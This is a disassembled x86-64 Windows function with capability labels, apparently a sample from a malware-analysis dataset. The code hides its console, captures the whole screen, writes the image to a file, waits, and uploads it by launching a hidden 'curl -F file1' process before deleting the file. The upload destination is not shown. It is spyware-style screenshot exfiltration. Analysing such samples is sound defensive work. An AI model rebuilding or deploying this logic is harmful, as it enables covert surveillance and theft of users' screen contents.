Function at 0x18003b970
Capabilities:
Capture screenshot
Create process on windows
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [0x18070d040]
xor rax, rsp
mov qword [rbp + 0x280], rax
mov qword [rsp + 0x70], rdx
mov r15, rcx
xor r13d, r13d
mov dword [rbp - 0x80], r13d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], r13
mov qword [rbp + 0xe0], r13
mov r8d, 0x10
lea rdx, str.curl__F__file1_
lea rcx, [rbp + 0xc8]
call fcn.1800362f0
nop
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r14, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rdi, rax
mov r8d, ebx
mov edx, esi
mov rcx, r14
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov r12, rax
mov qword [rsp + 0x78], rax
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], ebx
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.GDI32.dll_BitBlt]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
xor esi, esi
mov r13d, esi
mov qword [rbp + 0xc0], rsi
mov qword [rbp - 0x78], rsi
lea r8, [rbp - 0x78]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
lea rax, vtable.ATL::CImage.0
mov qword [rbp + 0x40], rax
mov dword [rbp + 0x70], 0xffffffff
mov qword [rbp + 0x78], rsi
mov dword [rbp + 0x80], esi
mov qword [rbp + 0x88], rsi
call fcn.18003b4f0
mov rbx, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [rbx + 0x30]
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
mov qword [rbp + 0x48], r12
lea r8, [rbp - 0x30]
mov edx, 0x68
mov rcx, r12
call qword [sym.imp.GDI32.dll_GetObjectW]
cmp eax, 0x68
jne 0x18003bb83
mov byte [rbp + 0x68], 1
mov ecx, dword [rbp - 0xc]
mov dword [rbp + 0x58], ecx
mov r8d, dword [rbp - 8]
mov r9d, r8d
neg r9d
cmovs r9d, r8d
mov dword [rbp + 0x5c], r9d
movzx eax, word [rbp - 2]
mov dword [rbp + 0x64], eax
imul eax, ecx
add eax, 0x1f
cdq
and edx, 0x1f
add eax, edx
sar eax, 5
shl eax, 2
mov dword [rbp + 0x60], eax
mov r10, qword [rbp - 0x18]
mov qword [rbp + 0x50], r10
test r8d, r8d
jle 0x18003bba1
lea ecx, [r9 - 1]
imul ecx, eax
movsxd rdx, ecx
add rdx, r10
mov qword [rbp + 0x50], rdx
neg eax
mov dword [rbp + 0x60], eax
jmp 0x18003bba1
mov byte [rbp + 0x68], 0
mov eax, dword [rbp - 0x2c]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp - 0x28]
mov dword [rbp + 0x5c], eax
movzx eax, word [rbp - 0x1e]
mov dword [rbp + 0x64], eax
mov dword [rbp + 0x60], esi
mov qword [rbp + 0x50], rsi
mov dword [rbp + 0x6c], 0xffffffff
mov byte [rbp + 0x69], 0
mov rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x40]
call fcn.18003b670
lea rdx, [rbp + 0xe8]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.SHLWAPI.dll_IStream_Size]
mov ebx, dword [rbp + 0xe8]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.SHLWAPI.dll_IStream_Reset]
mov edx, ebx
test ebx, ebx
je 0x18003bbf3
lea rcx, [rbp + 0xb0]
call fcn.180043530
mov r13, qword [rbp + 0xc0]
mov r8d, ebx
mov r12, qword [rbp + 0xb0]
mov rdx, r12
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.SHLWAPI.dll_IStream_Read]
xor edx, edx
mov r8d, 0x118
lea rcx, [rbp + 0xf0]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1806fbda8]
mov qword [rbp + 0xf0], rax
lea rax, [0x1806fbc20]
mov qword [rbp + 0x100], rax
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x80], 1
xor r8d, r8d
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xf0], rax
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx + 0xec], edx
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x108], rax
mov byte [rbp + 0x184], 0
mov byte [rbp + 0x179], 0
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rdx, rsi
mov qword [rbp + 0x188], rdx
mov rax, qword [0x180968110]
mov qword [rbp + 0x17c], rax
mov qword [rbp + 0x170], rsi
mov rax, qword [r15 + 0x10]
cmp qword [r15 + 0x18], 7
jbe 0x18003bd05
mov rcx, qword [r15]
mov rsi, rcx
lea r14, [rcx + rax*2]
jmp 0x18003bd0c
lea r14, [r15 + rax*2]
mov rsi, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movabs rbx, 0x7fffffffffffffff
mov edi, 0xf
mov qword [rsp + 0x68], rdi
cmp rsi, r14
jne 0x18003bd3e
xor esi, esi
mov qword [rsp + 0x60], rsi
mov byte [rsp + 0x50], sil
jmp 0x18003be3c
sub r14, rsi
sar r14, 1
mov qword [rsp + 0x60], 0
cmp r14, rbx
ja 0x18003c511
cmp r14, rdi
jbe 0x18003bdf4
mov rdi, r14
or rdi, 0xf
cmp rdi, rbx
jbe 0x18003bda8
mov rdi, rbx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180043c3c
mov rcx, rax
test rax, rax
je 0x18003bfd8
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x68], rdi
jmp 0x18003bdf9
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x18003bdcb
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x68], rdi
jmp 0x18003bdf9
cmp rcx, 0x1000
jb 0x18003bde3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18003c50b
jmp 0x18003bd7c
call fcn.180043c3c
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x68], rdi
jmp 0x18003bdf9
mov rax, qword [rsp + 0x50]
lea r8, [rsp + 0x50]
cmp rdi, 0xf
cmova r8, rax
mov rcx, r8
mov rdx, r14
test r14, r14
je 0x18003be24
movzx eax, byte [rsi]
mov byte [rcx], al
lea rcx, [rcx + 1]
lea rsi, [rsi + 2]
sub rdx, 1
jne 0x18003be11
mov qword [rsp + 0x60], r14
mov byte [r8 + r14], 0
mov rdx, qword [rbp + 0x188]
mov rdi, qword [rsp + 0x68]
xor esi, esi
lea rcx, [rsp + 0x50]
cmp rdi, 0xf
cmova rcx, qword [rsp + 0x50]
test rdx, rdx
jne 0x18003bf80
mov edx, 0x22
mov r8d, 0x40
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
mov rdi, rax
test rax, rax
je 0x18003bf80
mov byte [rbp + 0x184], 1
mov byte [rbp + 0x179], 0
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x80], rsi
lea r9, [rbp - 0x80]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x68]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rbp - 0x80]
mov qword [rsp + 0x30], r9
mov r8, qword [rbp - 0x70]
mov qword [rsp + 0x28], r8
mov rdx, qword [rbp - 0x68]
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov qword [rbp + 0x188], rdi
mov rax, qword [0x180968110]
mov qword [rbp + 0x17c], rax
mov qword [rbp + 0x170], rsi
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.1800423c0
mov rdi, rax
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x18003bf24
mov qword [rbp + 0x170], rsi
jmp 0x18003bf39
mov qword [rbp + 0x170], rdi
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
nop
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x18003bf5e
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18003bf5e
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xf0]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x18003bfa4
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xf0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x18003bfe4
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003bfdf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003bfdf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800440b8
mov r8, qword [rbp + 0xb8]
sub r8, r12
mov rdx, r12
lea rcx, [rbp + 0x100]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x108]
call fcn.180041f90
test rax, rax
jne 0x18003c032
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xf0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp - 0x68]
call fcn.180037ab0
movabs rcx, 0x7ffffffffd9da5ff
mov rax, qword [rbp - 0x68]
cmp rax, rcx
jge 0x18003c055
lea rbx, [rax + 0x2625a00]
lea rcx, [rbp - 0x80]
call fcn.180037ab0
mov rax, qword [rbp - 0x80]
cmp rax, rbx
jge 0x18003c0cd
movabs rdi, 0x4e94914f0000
movabs r14, 0x431bde82d7b634db
nop dword [rax + rax]
mov rcx, rbx
sub rcx, rax
cmp rcx, rdi
jle 0x18003c092
mov edx, 0x5265c00
jmp 0x18003c0b4
mov rax, r14
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x18003c0b4
inc edx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
lea rcx, [rbp - 0x80]
call fcn.180037ab0
mov rax, qword [rbp - 0x80]
cmp rax, rbx
jl 0x18003c080
mov rcx, qword [r15 + 0x10]
movabs rax, 0x7ffffffffffffffe
mov rdx, qword [rbp + 0xd8]
sub rax, rdx
cmp rax, rcx
jb 0x18003c505
lea r9, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 7
cmova r9, qword [rbp + 0xc8]
mov rax, r15
cmp qword [r15 + 0x18], 7
jbe 0x18003c112
mov rax, qword [r15]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x68]
call fcn.180042ce0
nop
mov r8d, 2
lea rdx, [0x1806fadbc]
lea rcx, [rbp - 0x68]
call fcn.180041af0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rax, qword [rsp + 0x70]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x18003c185
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.180041af0
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x18003c210
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003c20b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003c20b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800440b8
movdqa xmm0, xmmword [0x1806fbfd0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], si
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x18003c266
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003c261
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003c261
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800440b8
mov dword [rbp + 0x210], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x218], xmm0
movups xmmword [rbp + 0x228], xmm0
movups xmmword [rbp + 0x238], xmm0
movups xmmword [rbp + 0x248], xmm0
movups xmmword [rbp + 0x258], xmm0
movups xmmword [rbp + 0x268], xmm0
mov dword [rbp + 0x24c], 1
mov word [rbp + 0x250], si
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 7
cmova rdx, qword [rbp + 0x90]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18003c325
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.GDI32.dll_DeleteObject]
cmp qword [r15 + 0x18], 7
jbe 0x18003c33a
mov r15, qword [r15]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp + 0xa8]
cmp rdx, 7
jbe 0x18003c38c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003c387
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003c387
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800440b8
movdqa xmm0, xmmword [0x1806fbfd0]
movdqu xmmword [rbp + 0xa0], xmm0
mov word [rbp + 0x90], si
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xf0], rax
mov rax, qword [rbp + 0xf0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx + 0xec], edx
lea rcx, [rbp + 0x108]
call fcn.180041a80
lea rcx, [rbp + 0x110]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp + 0x48]
test rcx, rcx
je 0x18003c40b
call qword [sym.imp.GDI32.dll_DeleteObject]
call fcn.18003b4f0
mov rbx, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rbx + 0x30], 1
jne 0x18003c448
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rbx]
test rcx, rcx
je 0x18003c43b
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov qword [rbx], rsi
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
test r12, r12
je 0x18003c490
sub r13, r12
mov rax, r12
cmp r13, 0x1000
jb 0x18003c484
add r13, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003c484
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r13
mov rcx, r12
call fcn.1800440b8
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 7
jbe 0x18003c4d9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003c4d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003c4d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800440b8
xor eax, eax
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.180043980
mov rbx, qword [rsp + 0x3e0]
add rsp, 0x390
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180031740
nop
call fcn.180003eb0
int3
call fcn.180031740
int3